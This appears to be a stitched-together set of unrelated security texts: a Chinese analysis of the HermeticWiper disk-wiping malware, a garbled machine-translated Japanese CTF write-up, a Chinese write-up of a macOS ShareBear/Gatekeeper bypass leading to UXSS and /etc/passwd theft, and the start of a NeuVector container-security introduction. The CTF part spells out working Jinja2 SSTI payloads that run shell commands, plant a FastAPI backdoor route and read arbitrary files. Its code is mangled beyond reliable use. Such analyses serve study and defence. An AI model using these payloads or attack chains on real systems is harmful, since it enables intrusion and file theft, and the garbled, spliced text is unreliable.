執行後的磁盤狀態

這樣做可能是為了提高損壞程度:文件碎片越多,從原始磁盤映像中分割出來並進行取證重建的難度就就越大。

隨著惡意軟件的執行,在某些時候,我們可能會發現一些應用程序將無法正常工作。這是因為某些文件(包括系統DLL)已被隨機數據所覆蓋。

示例:由於系統DLL被破壞,導致應用程序無法運行:

1.png

HermeticWiper導致的軟件故障

如果我們現在查看磁盤的原始映像(比如使用HxD),我們就會發現某些扇區已經被隨機數據覆蓋了:

1.png

通過HxD檢查被HermeticWiper覆蓋的扇區

毫無疑問,重啟後,我們的Windows操作系統將無法正常工作:

1.png

重新啟動受損系統後,用戶看到的出錯消息

那麼,這個惡意軟件在背後到底搞了什麼鬼呢?讓我們仔細看看……

使用的組件初始樣本:1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591——在其資源中包含多個PE文件:

1.png

惡意軟件的資源部分

為資源選擇的名稱(DRV_X64、DRV_X86、DRV_XP_X86、DRV_XP_X64)表明:它們是同一驅動程序,並且為不同的Windows系統提供了相應的版本:適用於32位或64位系統的版本,或適用於Windows XP的舊版本。同時,它們都採用了壓縮形式。通過Linux系統的file命令檢查轉儲文件,我們可以看到以下輸出:

file DRV_XP_X86

DRV_XP_X86: MS Compress archive data, SZDD variant, original size: 13896 bytes

為了弄清楚它們是如何加載的,我們需要研究一下攜帶它們的樣本。

幸運的是,該樣本並沒有進行混淆處理,所以,我們可以輕鬆找到負責查找適當版本的驅動程序的代碼片段:

1.png

HermeticWiper中選擇加載哪個驅動程序的代碼片段

然後,讓我們通過LZMA算法對緩衝區進行解壓縮處理:

1.png

負責用LZMA算法解壓縮驅動程序並進行安裝的代碼片段

實際上,當前流行的解壓縮工具(比如7Zip)都支持這種壓縮格式。我們也可以根據惡意軟件代碼製作自己的解壓縮工具(詳見:https://gist.github.com/hasherezade/2c7837874f7adf0f73192f4d861d83c6)。

結果,我們從EaseUS Partition Master中得到了4種版本的合法驅動程序——這一點與ESET(https://twitter.com/ESETresearch/status/1496581912940396551?s=20t=wAz5sfT7pTIN-F0aqFaXTg)所報告的完全相符。

2c7732da3dcfc82f60f063f2ec9fa09f9d38d5cfbe80c850ded44de43bdb666d

23ef301ddba39bb00f0819d2061c9c14d17dc30f780a945920a51bc3ba0198a4

8c614cf476f871274aa06153224e8f7354bf5e23e6853358591bf35a381fb75b

96b77284744f8761c4f2558388e0aee2140618b484ff53fa8b222b340d2a9c84

從PE頭部中的時間戳來看,這個驅動程序是很久以前構建的。據我們推測,這些驅動程序很可能是被攻擊者從原始的合法軟件包中竊取的。並且,它們中的每一個都帶有一個調試目錄,其中包括一個PDB路徑,例如:

1.png

驅動程序概述HermeticWiper使用的驅動程序來自EaseUS套件,而EaseUS則是一個合法的軟件,為用戶提供了多種磁盤管理功能,如分區和大小調整。如前所述,該工具是合法的,因此,在攻擊發生時,無法通過VirusTotal檢測到該樣本:

1.png

VirusTotal沒有檢測出該樣本

查看驅動程序內部代碼,我們發現它只是提供了許多典型的驅動功能:創建所需的設備,並建立一些分派例程,如下圖所示:

1.png

DriverEntry例程

這個驅動程序的內部結構非常簡單。為了從用戶模式訪問驅動程序,我們需要使用CreateFile API函數,並安裝驅動程序的設備名(\\.\epmntdrv)以及分區ID。具體示例如下所示:

1.png

用戶模式組件,生成用於打開設備句柄的字符串

注意,這個字符串對於理解驅動程序的功能非常重要。如您所見,驅動程序的代碼會把發送的字符串從用戶模式轉換為整數,並將該整數用作helper函數“savereferenceharddisk”的輸入。由於可以從映像中提取,所以,這個helper函數將在FsContext屬性中保存對物理磁盤(\device\harddisk[num]\partition0)的引用:

1.png

IRP_MJ_CREATE函數

1.png

helper函數

這種行為也可以進行實時測試。我們可以看到,在將這個值轉換為整數類型之前,代碼是如何刪除前導反斜杠的:

1.png

通過內核模式實時調試會話考察參數處理過程

此外,IRP_MJ_CREATE函數會在FsContext2屬性中保存硬盤的設備對象指針,該指針將通過helper函數getDeviceObject返回。函數getDeviceObject中的DeviceObject指針,用於查找IRP_MJ_CREATE函數保存在FsContext2屬性中的硬盤的設備對象指針(該指針是通過helper函數getDeviceObject返回的)。而getDeviceObject中的DeviceObject指針,則用於通過IoGetLowerDeviceObject函數遍歷最底層的設備對象來查找disk.sys關聯的設備對象。為了確認底層設備對象就是我們正在尋找的對象,我們檢查對象的ServiceKeyName是否為'Disk':因為disk.sys對象的ServiceKeyName正是“Disk”。這些對象將在稍後的讀寫操作中用到。這意味著,當從用戶模式向驅動程序請求不同的操作時,實際操作將在機器物理磁盤上進行。

1.png

關於getDiskDeviceObject函數

接下來的圖片顯示了驅動程序如何建立傳入的請求並將其轉發到下級設備:

1.png

EaseUS驅動處理IOCTL請求的例子

1.png

EaseUS驅動處理讀操作的例子

1.png

EaseUS驅動處理IOCTL寫操作的例子

通過使用從用戶模式執行的CreateFile操作所保存的FsContext2字段,可以將這個驅動程序看作是一個代理驅動程序,其中IRP由底層設備處理。簡而言之,這個合法的驅動程序可以讓攻擊者繞過一些windows的安全機制,而這些機制能夠阻止他們在用戶模式下執行某些操作,如禁止對磁盤的某些扇區進行寫操作等。

數據擦除器的具體實現這個惡意軟件旨在最大限度地破壞系統。它不僅會覆蓋MBR,而且更進一步:遍歷文件系統的相關結構體並加以破壞,甚至直接破壞單個文件。

我們知道,這個可執行文件將以某種方式濫用這些驅動程序來實現數據破壞功能。然而,問題來了,它到底是如何實現的呢?

值得注意的是,Windows(自Vista以來)引入了一些安全措施,使得攻擊者只能在用戶模式(在標準Windows驅動程序的幫助下)下對磁盤開頭部分的扇區執行寫操作。如果我們想對其他扇區進行寫操作,即覆蓋MFT(主文件表),我們需要一些自定義的變通方法(詳情請參閱https://community.osr.com/discussion/101522/vista-rtm-writing-to-raw-disk-sectors)。

對於Petya(以及NotPetya,使用了相同的組件)來說,其解決方案是由另一個“內核”實現的,該內核(而不是Windows系統)在機器重新啟動時引導,並完成相應的覆蓋任務。對於HermeticWiper來說,其作者使用了一種更簡單的方法:他們使用了另一個驅動程序,該驅動程序能夠完成這樣的覆蓋操作。

首先,該惡意軟件會解析NTFS結構體,並將有關它們的信息存儲在內部結構體中。為了實現讀取,它使用了標準系統設備。在收集到所需的數據之後,附加的驅動程序(EaseUS)就開始發揮作用:它被用作對收集的扇區進行寫操作的代理。

攻擊可分為以下幾個階段:

準備工作,包括:

安裝附加驅動程序(EaseUS)

禁用可能有助於恢復或檢測攻擊行為的系統功能

數據收集:遍歷NTFS結構體,收集將要覆蓋的扇區和文件。此外,為進一步的覆蓋活動而生成適當大小的隨機數據。

垃圾處理(在此階段使用EaseUS驅動程序):利用上一步生成的隨機數據覆蓋收集的扇區

最後,系統將自動重啟。

執行流程現在,讓我們來分析惡意軟件樣本,看看這些階段是如何實現的。

準備工作首先,該樣本會解析命令行參數。實際上,這些參數對執行的影響很小——可能只是改變樣本在特定階段的執行之間休眠的時間。

然後,該樣本會設置執行相關操作所需的特權。在惡意軟件的主函數中設置了兩個特權:SeShutdownPrivilege(允許重新啟動系統)和SeBackupPrivilege(允許操縱系統備份):

1.png

調整所需特權

有趣的轉折來了:定義SeShutDownPrivilege的字符串是在堆棧上組成的,而中間的一塊卻不見了。

1.png

不完整的SeShutdownPrivilege字符串

然後,在根據當前可執行文件名稱的第一個字符計算的位置填充這個缺失的塊wnPr。因此,只有在樣本的名稱是以“C”開頭的情況下,字符串才會被補上(並且權限設置正確)。

1.png

SeShutdownPrivilege在後面的步驟中補全

關於惡意軟件為何要這麼大費周章的原因尚不明確,也許只是為了混淆這個特定的可疑字符串。因為惡意軟件作者使用名稱檢查作為反沙箱技術也很常見(因為沙箱可能會給樣本指定一些可預測的名稱:如果檢測到這樣的名稱,則樣本可能會退出,這樣沙箱就無法跟踪其行為)。然而,該行為對樣本的影響非常小——它只影響重新啟動功能,而不是惡意軟件的主要任務。

驅動程序的安裝之後,該惡意軟件就會進行驅動程序的安裝。

1.png

安裝驅動程序

安裝過程分為以下幾個步驟:

首先,對系統進行指紋識別,以便選擇最合適的驅動程序版本。具體來說,它會根據Windows的版本和位數(32或64位),來選擇資源。

1.png

可加載的驅動程序

在安裝驅動程序之前,崩潰轉儲機制會被禁用。

1.png

HermeticWiper將禁用崩潰轉儲機制

如果整個系統發生崩潰,可能是由於驅動程序中的錯誤/不穩定所致,並且通常會進行崩潰轉儲:保存有關係統的完整狀態,以及到底發生了什麼方面的信息,以幫助調試。在安裝前禁用崩潰轉儲功能,表明惡意軟件的作者對所用驅動程序並不是很有信心,或者認為執行的操作有導致系統崩潰的風險。所以,他們希望即使發生了崩潰,也要設法讓管理員很難找到崩潰的原因。

然後,他們檢查驅動程序是否已經安裝。這一步是通過向驅動程序發送IOCTL來實現的:該IOCTL用於檢索驅動器幾何形狀方面信息。如果該操作失敗,這意味著相關驅動程序根本就不存在,他們可以繼續安裝。

1.png

EaseUS設備對象引用

安裝該驅動程序時,首先會根據硬編碼的字符集為驅動程序生成一個含有4個字符的偽隨機名稱。該函數還需確保沒有文件與剛才生成的名稱重名。

1.png

生成驅動程序名稱

然後,植入文件的壓縮版本。最後,從中解壓縮出相應驅動程序。

web

EncirclingGame

質問説明:簡単なゲーム、それを楽しんで、それを完了したら旗を入手してください。トピックを開始してください、フロントエンドミニゲーム、赤いドットimage-20240817132551392を取得しないでください

レベルを直接再生して渡しますimage-20240817133147345

演奏せずに旗を獲得する方法を見てみましょう。フラグはバックエンドPHPファイルに保存されており、フロントエンドには見つかりません。レッドドットの最後の位置とファイアウォールの位置(ブラックドット)を記録するゲームのリクエストパッケージをご覧ください。image-20240817134012060

それでは、ファイアウォールは円に囲まれていますが、赤い点は真ん中にあります。ルーティング:/verifyvictory.php

方法:post {'Gamestate ': {' virusposition': {'x':5、' y':5}、 'firewalls': [{' x': 0、 'y': 0}、{' x': 1、 'y'3360 0} {'x': 2、' y': 0}、{'x': 3、' y': 0}、{'x': 4、' y': 0}、{'x': 5、' y'3360 0 0}、{'x': 7、' y': 0}、{'x': 8、' y': 0}、{'x': 9、' y': 0}、{'x': 10、' y': 0}、{'x': 'y': 10}、{' x': 1、 'y': 10}、{' x': 2、 'y': 10}、{' x': 3、 'y': 10}、{' x': 4、 '': 10 5、 'y': 10}、{' x': 6、 'y': 10}、{' x': 10}、{'x':' y': 10}、{'x'3360 9 {'x': 10、' y': 10}、{'x': 0、' y': 3}、{'x': 0、' y': 4}、{'x': 0、' y': 6}、{'x': 0、' y': 7}、{'x': 0、' y': 8}、{'x': 0、' y': 9}、{'x': 10、' y': 1}、{'x': 'Y': 2}、{' x': 10、 'y': 3}、{' x': 10、 'y': 4}、{' x': 10、 'y': 5}、{' x': 10 10、 'y': 7}、{' x': 10、 'y': 8}、{' x': 9}]}、 'token':'game-lab-token'}プロジェクトを開始すると、ソースコードimage-20240817122126538を直接与えました

インポートOS#オペレーティングシステム関連モジュールのインポートJinja2#インポートJinja2テンプレートエンジンモジュールインポート#インポート#インポートツール機能モジュール、高度な機能を提供するuvicorn#インポートuvicorn#fastapiインポートFastapi#インポートファーストアピクラスからASGIアプリケーションを実行するためにASGIアプリケーションを実行するためにASGIアプリケーションを実行するためにASGIアプリケーションを実行して、FASTAPI.TEMPLATING IMPLATITION APPLATIONSから作成します。 AnyioのインポートからレンダリングするテンプレートのFastapiのJinja2Templates fail_after、睡眠#インポートAnyioライブラリからのインポートタイムアウトを設定するために使用し、非同期睡眠のためにスリープ

#使用するライブラリのバージョンを指定します:#jinja2==3.1.2#uvicorn==0.30.5#fastapi==0.112.0

def timeout_after(timeout: int=1):#タイムアウトデコレータを定義する、デフォルトのタイムアウトは1秒のdefデコレーター(func):です##parameter @functools.wraps(func)#decorator async def wrapper(** kwargs)のメタ情報を保持します。 faile_after(タイムアウト):のラッパー#指定されたタイムアウトリターンウェイブfunc(*args、** kwargs)内でデコレーター関数を実行してください。

デコレーターを返す#returnデコレーター関数

app=fastapi()#fastapiアプリケーションインスタンスアクセスを作成=false#アクセス許可を制御するためのグローバル変数を定義します

_base_path=os.path.dirname(os.path.abspath(__ file__))

@app.get( '/')#ルートパスのゲットリクエストを処理するルートを定義します@timeout_after(1)#タイムアウトデコレーターを使用して、タイムアウトを1秒の非同期DEFインデックス():に設定します#非同期処理機能を定義します。

@app.get( ' /calc')# /計算パスを処理するゲットリクエストのルートを定義します@Timeout_after(1) (calc_reqのchar.isdigit()calc_reqのchar.isdigit())または(calc_reqの '%\')またはnot not not not not not not calc_req.isascii()またはaccess:#calc_reqに数値文字が含まれているか、「%」が含まれているか、またはそれらがすべてasciiのキャラクターであるかどうかを確認するかどうかを確認します。 jinja2.environment(loader=jinja2.baseloader())。 #さらにアクセスを制限するためにtrueにアクセスを設定します。

__name__=='__main __' :#それがメインプログラムの入り口uvicorn.run(app、host='0.0.0'、port=8000)であるかどうかを決定します。制限は、数値文字、または文字「%」、またはすべてのASCII文字、またはアクセスを含めることができないことです。同時に、アクセスが真である限り、再び入力することはできないため、環境を再起動する必要があります(NSS round20 Iは、この方法で質問が作成されたリポジトリのメモリも検索しました。 /flag ')。read())は、add_url_ruleを同時に置き換えるため、次のようにsstipayloadに変換する必要があります{{config .__ class __.__ init __.__ Globals __ ['__ Builtins __']。eval( '__ import __(' sys ')。モジュール[' __ main __ '] .__ dict __ [' app ']。add_api_route('/flag '、lambda:__import __(' os ') /flag').Read())')} payload: /calc?calc_req=config.__class__.__init__.__globals__ ['__builtins__'] .eval('__import__('sys').m odules ['__ main __'] .__ dict __ ['app']。add_api_route( '/flag'、lambda:__import __( 'os')。popen( 'cat /flag ')。読み取り())')

Fastapi Memory Horseをプレイすると、FastapiクラスにADD_API_ROUTEメソッドがあります。この方法を通るルートを追加して、RCEを実行できます

app.add_api_route( '/shell'、lambda: __import __( 'os')。popen( 'whoami')。read())アプリを再ゲットする必要があります。

__import __( 'sys')。モジュール['__ main __'] .__ dict __ ['app']

Sys.Modules:SYSモジュールには、すべてのインポートモジュールの現在の状態を維持するモジュールと呼ばれる辞書があります。この辞書のキーはモジュールの名前であり、値は対応するモジュールオブジェクトです。モジュール['__ main__']:__main__は、コマンドラインから直接実行されるスクリプトであろうと、実行環境を実行するコードであろうと、Pythonプログラムを実行するメインモジュールです。 sys.modules ['__ main__']を介して、現在実行中のプログラムのメインモジュールオブジェクトを取得します。 __dict__:各モジュールオブジェクトには__dict__属性があります。これは、モジュールで定義されているすべてのグローバル変数と関数を含む辞書です。 ['App']:最後に、モジュールの__dict__から名前付きアプリというオブジェクトを取得します。次に、次のペイロードを統合します。

app .__ init __.__ Globals __.__ builtins __。eval( '__ import __(' sys ')。モジュール[' __ main __ '] .__ dict __ [' app ']。add_api_route(' /shell '、lambda :__import __(' os ')。

さて、 /シェルにアクセスして旗を獲得します

方法3:任意のファイルを読み取る任意のファイルについて__file__を変更します

@app.get( '/')@timeout_after(1)async def index(): return open(__ file __)。read()

現在のコードファイルコンテンツは読み取り、Webページに出力されます。次に、__file__ to /flagを変更できれば、ルートルートにアクセスするとフラグを取得できます。

__File__はグローバル変数グローバルにあります

setattr(__ Import __( 'sys')。モジュール['__ main __']、 '__ file __'、 '/flag')は、setattr(オブジェクト、名前、値)メソッドを使用してオブジェクトのプロパティ値を変更します。

オブジェクト - オブジェクト。名前- 文字列、オブジェクト属性。値- 属性値。

Q:__import __( 'sys')を使用してみませんか。モジュール['__ main __'] .__ dict__、__file__は明らかにここにありますか?

A:Setattr関数の最初の値はオブジェクトであるため、__dict__はオブジェクトではなく__main__の属性です。

ペイロードを統合します:

app .__ init __.__ Globals __.__ builtins __。eval( 'setattr(__ import __(' sys ')。モジュール[' __ main __ ']、' __ file __ '、'/flag '))システム内のフラグファイルをお読みください。プロジェクトはログインボックスで、登録オプションimage-20240817120527144

敏感なディレクトリをスキャン:/admin.html/upload.php/admin.htmlルートにはファイルアップロード機能とコマンド入力ボックスimage-20240817214352183があります

無効な文字は、アップロード時に常に表示されます。いくつかのパケットの試行後、アップロードされたコマンド文字列が制限されているはずであり、1つの文字のフィルタリングである可能性があります。質問WAFコマンドパートファズに1つの文字を実行します。 /、そして一目で一時ファイルを実行します。 /t*/*

英数字RCE(CTFSHOW Webはじめに56)への参照_RCE-CSDNブログすべての文字と数字をろ過

t、 /、image-20240817214855339のみが許可されています

同時に、ファイル部品をアップロードすることはできません。私はおそらく、ホワイトリストのキャラクター、ctfshow永遠の神を見る手がかりがあるでしょう! PHPでは、ファイルが強制的にアップロードされると、ファイルは一時ファイル /TMP /PHPに存在します

ShareBear應用程序至此,我們已經確定了一個可以由Safari自動啟動的應用程序,但是我們還不知道如何正確地打開它。幸運的是,這很簡單。

研究表明,iCloud文件共享可以生成一個公共共享鏈接。

9.webp.jpg

創建公共iCloud共享鏈接

這些共享鏈接看起來如下所示:https://www.icloud.com/iclouddrive/01fooriERbarZSTfikqmwQAem。

只需簡單地將“https”替換為“icloud-sharing”,就可以讓Safari自動打開ShareBear,並將該文件作為參數。

10.png

evil.html

太好了,那麼ShareBear 現在做了什麼?一些快速測試顯示了這種行為:

11.webp.jpg

ShareBear行為流程圖

這種行為存在一個微妙但卻極具影響力的設計漏洞。讓我們研究一下如果用戶之前沒有打開過這個文件會發生什麼,用戶將看到一個類似於下面的提示。

12.webp.jpg

ShareBear打開提示

這個無關緊要的小提示符,默認值為“Open”,看起來非常簡單。如果用戶同意,應該會打開圖片example.png。但實際上,他們達成的協議遠不止這些。

一旦用戶點擊“Open”,文件就會被下載到受害者的設備/Users/user /Library/Mobile Documents/com~apple~CloudDocs,然後通過Launch Services 自動打開。這樣用戶就再也看不到這個提示符了。此後,ShareBear以及Safari 中的任何網站將能夠自動啟動該文件。這個協議真正有漏洞的部分是,任何具有寫入訪問權限的人都可以更改文件。例如,在你同意打開文件後,文件的所有者可以更改整個字節內容和文件擴展名。然後ShareBear將下載並更新受害者設備上的文件,而無需任何用戶交互或通知。

實際上,受害者已經允許攻擊者在他們的設備上植入多個文件,並允許攻擊者在任何時候遠程啟動它。 PNG文件是一個可執行的二進製文件,只要我想,它就會自動啟動。

根據我反饋的報告,蘋果在macOS Monterey 12.0.1中修復了這一行為,但沒有發布CVE,因為這頂多是一個設計漏洞。

躲避Iframe沙盒檢測在對icloud-sharing://方案進行模糊測試時,我偶然發現了一個與UXSS 搜索無關的有趣漏洞。在執行上述行為之前,ShareBear 似乎會檢查“/iclouddrive/*”的URL 路徑。如果路徑恰好是“/photos/*”,那麼ShareBear 會犯一個非常愚蠢的錯誤。它會告訴Safari 打開一個指向iCloud Web 應用程序的新選項卡,但它不會驗證域名是否真的是iCloud Web 應用程序。

13.webp.jpg

在正常操作中,用戶只看到網站“https://photos.icloud.com”。然而,由於該域名從未經過驗證,我們可以欺騙ShareBear 指示Safari 打開任何網站的新標籤頁。

這種行為的影響可能並不明顯。因為它似乎與通常調用window.open('https://example.com')沒有什麼不同。然而,有些情況下,網站是不允許這樣做的。一個示例是是否啟用了彈出窗口阻止程序。另一個更狡猾的例子是當你的網站位於沙盒iframe 中時。

當你想在你的網站上嵌入不可信的第三方內容時,通常會使用sandbox iframe屬性。例如,你可能想在你的博客上顯示一個廣告橫幅,但你不希望這個廣告能夠運行JavaScript。

沙盒iframe的一個重要規則是,從該iframe打開的新窗口應該繼承與iframe本身相同的限制。否則,逃離沙盒就像打開一個彈出窗口一樣簡單。

這個漏洞會誘使Safari 打開一個沒有任何沙盒限制的新標籤!

14.png

網站被困在沙盒iframe 中

所以ShareBear忽略了驗證域,這給了我們一個簡單的彈出框攔截程序和一個iframe沙盒逃逸。 (在未分配CVE 的情況下在Safari 15.2 中修復)在BugPoC上的演示視頻鏈接為https://bugpoc.com/poc#bp-S4HH6YcO PoC ID: bp-S4HH6YcO,密碼:loVEDsquId01。請注意,這個演示只適用於Safari 15.2之前版本的macOS Monterey 12.1。

現在返回Camera/UXSS 搜索話題。

Quarantine 和Gatekeeper我們的網站可以提示用戶打開一個共享的PNG文件。如果用戶同意,我們可以在將來的任何時候自動啟動這個文件,即使我們改變了文件的內容和擴展名。

15.webp.jpg

然後,攻擊者可以在自己的設備上修改文件,而ShareBear將負責在受害者的設備上更新它。

攻擊者的設備和受害者的設備上的操作過程:

16.png

改變polymorphic文件

然後,攻擊者的網站可以使用與顯示原始提示符相同的icloud-sharing://URL自動啟動這個新更新的文件。

17.webp.jpg

這似乎非常接近我們強制下載和打開一個惡意webarchive文件的目標,我們可以將puppy.png的內容替換成一個webarchival文件,並將其重命名為“evil.webarchive”,不幸的是,討厭的macOS Gatekeeper不允許這樣做。

18.webp.jpg

Gatekeeper預防策略

看來ShareBear 正確地為下載的文件提供了'com.apple.quarantine' 屬性,並且根據Apple 的說法,“Gatekeeper 阻止了被隔離的可執行文件和其他類似文件(shell 腳本、webarchive等)打開或執行。”要深入了解macOS 如何處理此屬性,以及Gatekeeper 如何執行代碼簽名,請查看本文。

就滲透測試而言,此操作系統保護引入了兩大限制:

1.我們不能運行自己的應用程序;

2.我們不能直接打開webarchive文件;

側邊欄——雖然我們不能運行自己的應用程序,但啟動現有的、經過批准的應用程序是微不足道的。只需使用fileloc指向本地應用程序(這種技術很常見)。這種攻擊有時被稱為“任意文件執行”,並且經常被誤解,因為它看起來很可怕。

20.png

指向macOS 計算器的fileloc

21.png

使用icloud-sharing://方案啟動fileloc

雖然這種攻擊可能看起來很可怕,但啟動一個已經批准的應用程序不會有太大的影響。讓我們專注於打開webarchive。

快捷鍵上述打開本地應用程序的技術讓人想起老式的符號鏈接攻擊,它基本上只是使用“快捷方式”來欺騙軟件打開它不期望的東西。

多年來,許多不同的操作系統和應用程序在快捷方式方面進行了重新設計。現在,術語“快捷方式”可以指一個Unix符號鏈接、一個macOS別名、一個windows的鏈接文件、一個Safari的webloc、一個Edge的書籤等。

我希望我可以使用這個技術來繞過Gatekeeper,打開一個webarchive文件。這個想法對我來說似乎很有希望,因為我想要打開的實際應用程序是Safari(一個已存在的、已批准的應用程序)。 Gatekeeper 對我啟動Safari 沒有問題,當我嘗試打開任何以“.webarchive”結尾的文件時,它只會感到不安。

因此,我需要找到一個啟動Safari的快捷方式文件類型,然後告訴Safari打開一個不同的文件。經過反複試驗,我發現了古老的Windows URL 文件!

22.png

evil.url 文件指向本地webarchive

啟動evil.url 成功打開Safari 並指示它加載webarchive 文件而無需請求Gatekeeper 許可! (CVE-2021-30861) 只有一個小漏洞,我需要知道webarchive 文件的完整路徑。假設webarchive 是通過ShareBear 下載的,它將存在於/Users/user /Library/Mobile Documents/com~apple~CloudDocs中,其中包括受害者的用戶名(不是一個非常可擴展的攻擊)。

幸運的是,有一個巧妙的技巧可以規避這個要求——我們可以使用DMG 文件將webarchive 文件掛載到已知的/Volumes/目錄中。

23.png

使用icloud-sharing://方案掛載dmg

現在我們確切地知道webarchive 文件所在的位置。這意味著下面的evil.url 文件每次都可以使用。

24.png

evil.url 文件指向一個已知位置的本地webarchive

25.png

使用icloud-sharing://方案啟動evil.url 以打開evil.webarchive

就像這樣,我們在任何我們想要的地方執行JavaScript 代碼。上面的屏幕錄像在https://google.com 中註入了“alert(origin)”。

讓我們將其組合成最後一次攻擊。

完整的攻擊鏈使用ShareBear為我們下載和打開一個webarchive文件,可以分為3個步驟:

1.誘騙受害者給予我們植入polymorphic文件的權限。

26.webp.jpg

2.把puppies.png 變成evil.dmg 並啟動它。

27.webp.jpg

3.將evil.dmg 變成evil.url 並啟動它。

28.webp.jpg

當然把文件A轉換成三個不同的有效載荷需要一些服務器端協調。另一種(不那麼有趣的)實現這種攻擊的方法是讓受害者同意打開一個已經有所有文件的共享文件夾。

29.png

通過查看iCloud 共享文件夾對UXSS 進行屏幕錄製

在上面的屏幕錄製中,受害者同意查看一個包含一些PNG圖像的文件夾。這個文件夾還有兩個隱藏文件:evil。 dmg .evil.url。

該網站使用icloud-sharing://URL方案自動啟動兩個隱藏文件,成功繞過Gatekeeper,並打開一個webarchive文件。請注意,在受害者同意查看共享文件夾後,不會向他顯示額外的提示。上面的示例webarchive 文件將代碼注入https://www.icloud.com 以竊取受害者的iOS 攝像頭記錄。

當然,這只是一個例子,這種UXSS攻擊允許攻擊者將任意代碼注入到任意源。在劫持https://zoom.us 或https://facetime.apple.com 等受信任的視頻聊天網站時,注入JavaScript 代碼以打開網絡攝像頭同樣容易。

30.png

UXSS 劫持Zoom 網站以打開網絡攝像頭

漏洞修復那麼蘋果是如何解決這些漏洞的呢?

第一個修復是讓ShareBear只顯示文件而不是啟動它們(在macOS Monterey 12.0.1中修復,沒有分配CVE)。

第二個修復是阻止WebKit打開任何被隔離的文件(在Safari 15中修復為CVE-2021-30861)。

總結在我發現evil.url 技巧之前,我實際上找到了一種不同的方法來欺騙Launch Services (間接)打開一個webarchive 文件。我在Safari 的最新公開版本(v14.1.1) 中發現了這個漏洞。在向Apple 報告此漏洞幾天后,他們告訴我beta 版Safari v15 沒有這個漏洞。似乎不相關的代碼重構使v15 無法滲透。

通過啟動服務打開Safari的明顯方法是使用本地html文件。一旦打開,這個頁面將有file://URI 方案。這樣,JavaScript被允許導航到其他file://URI 。

31.png

本地HTML文件導航到另一個本地文件

那麼,如果我們要導航到的文件是一個webarchive,會發生什麼呢?此時,Safari只是掛著。

32.png

Safari拒絕出現webarchive的屏幕記錄

當目標文件是webarchiving時,這種掛起發生在我能想到的所有類型的頁面導航(anchor href, iframe src, meta redirect等)。

然後我發現了這個漏洞:

33.png

本地HTML文件導航到本地webarchive文件

當file://URL 中有主機值時,Safari 忘記執行webarchive 檢查!有趣的是,這個漏洞似乎是在Apple 修復我的舊file://漏洞(CVE-2020-3885) 時引入的。

當蘋果公司通知我Safari Beta v15不存在漏洞時,我重新檢查了一下,還是發現了evil.url。

在我完成UXSS 鏈後,還有一件事困擾著我,它不能用來竊取本地文件。當然,UXSS 可用於通過將代碼注入https://dropbox.com 或https://drive.google.com 來間接竊取文件,但無法獲取受害者硬盤上的文件。

我前面提到的出色的Blackhat Presentation啟發了我去尋找其他系統應用程序,它們可以在比Safari更優越的環境中運行我的JavaScript。在深入研究了一段時間後,我偶然發現了一個模糊的文件類型,它可以識別我的macOS腳本編輯器,名為“腳本添加”(.osax)。這些文件(或者更確切地說是“捆綁包”)包含一個嵌套的基於xml 的文件,稱為“Dictionary Document”(.sdef)。這個字典文檔用於顯示AppleScript應用程序使用的、人類可讀的、開發人員定義的術語。

重要的發現是允許這些基於xml 的文件包含HTML。事實證明,HTML呈現器也有一個JavaScript引擎,而且這個引擎不強制執行SOP! (在macOS Big Sur 11.6.2 中修復為CVE-2021-30975)這意味著竊取/etc/passwd 很容易。

34.png

evil.sdef 顯示/etc/passwd 的內容

幸運的是,Gatekeeper 不介意我們打開腳本添加文件。所以我們只需將evil.sdef 打包到evil.osax 中,然後通過ShareBear 將其發送給受害者。然後我們的icloud-sharing://URI 可以在腳本編輯器中自動啟動它。

35.png

ShareBear 打開evil.osax 竊取/etc/passwd 的屏幕錄像

所以現在除了UXSS,這個攻擊還可以繞過沙盒限制和竊取本地文件!

最後的話這個項目是對一個應用程序中的設計缺陷如何使其他各種不相關的漏洞變得更加危險的有趣探索。這也是一個很好的例子,說明即使macOS啟用了Gatekeeper,攻擊者仍然可以通過欺騙已批准的應用程序進行惡意操作來實現許多惡意操作。

作者簡介萬紹遠,CNCF 基金會官方認證Kubernetes CKACKS 工程師,雲原生解決方案架構師。對ceph、Openstack、Kubernetes、prometheus 技術和其他雲原生相關技術有較深入的研究。參與設計並實施過多個金融、保險、製造業等多個行業IaaS 和PaaS 平台設計和應用雲原生改造指導。

前言NeuVector 是業界首個端到端的開源容器安全平台,唯一為容器化工作負載提供企業級零信任安全的解決方案。 NeuVector可以提供實時深入的容器網絡可視化、東西向容器網絡監控、主動隔離和保護、容器主機安全以及容器內部安全,容器管理平台無縫集成並且實現應用級容器安全的自動化,適用於各種雲環境、跨雲或者本地部署等容器生產環境。

此前,我們介紹了NeuVector 的安裝部署、高可用架構設計和多雲安全管理(超鏈接:https://mp.weixin.qq.com/s/kOGNT2L2HVMibyyM6Ri2KQ),本篇將演示NeuVector的基礎功能,主要包括:

1.安全漏洞管理

2.合規性檢查和機密性檢查

3.策略管理

4.准入控制策略

5.動態安全響應

6.行為監控

項目地址:https://github.com/neuvector/neuvector

本文主要基於NeuVector 首個開源版NeuVector:5.0.0-preview.1 進行介紹。

1.安全漏洞管理NeuVector 集成了CVE 漏洞庫,每天自動更新,支持對平台(Kubernetes)、主機、容器、鏡像倉庫進行安全漏洞掃描。

配置自動掃描,當平台漏洞庫有更新,或有新的節點和容器加入時,會自動進行掃描。

image001.png

針對不同漏洞,有不同的風險級別提示、對應的組件版本提示和修復版本提示。

image003.png

image005.png

針對每個漏洞,NeuVector 可以展示對應的漏洞發佈時間、漏洞影響範圍、對應的組件影響版本。

image007.png

對漏洞進行過濾,檢測是否已經修復,以及漏洞等級、發佈時間等。

image009.png

1.1.配置對接鏡像倉庫漏洞掃描支持對接多種鏡像倉庫如docker-registry(harbor)、JFrog Artifactory、Nexus 等。

image011.png

以對接Harbor 為例。配置連接方式,填寫連接方式和認證信息,過濾器表示需要掃描的範圍,如掃描uat 項目下全部鏡像則`uat/*`,如果需要掃描整個Harbor 內全部鏡像則*。測試設置可以驗證編寫的表達式的關聯情況。

image013.png

2.合規性檢查和機密性檢查NeuVector 的合規性審核包括CIS 基線測試、自定義檢查、機密審核以及PCI、GDPR 和其他法規的行業標準模板掃描。

image015.png

“類型”表示對應的那個基線標準,如K.4.1.1 對應Kubernetes CIS 基線測試,4.1.1 容器對應的基線標準為D 開頭,鏡像對應的基線標準為I 開頭。

注:GDPR (General Data Protection Regulation,《通用数据保护条例》 )為歐盟條例。

在合規性檢查中也會檢查是否存在密文洩漏情況。

image018.png

包括如以下密文洩漏情況:

GeneralPrivateKeys

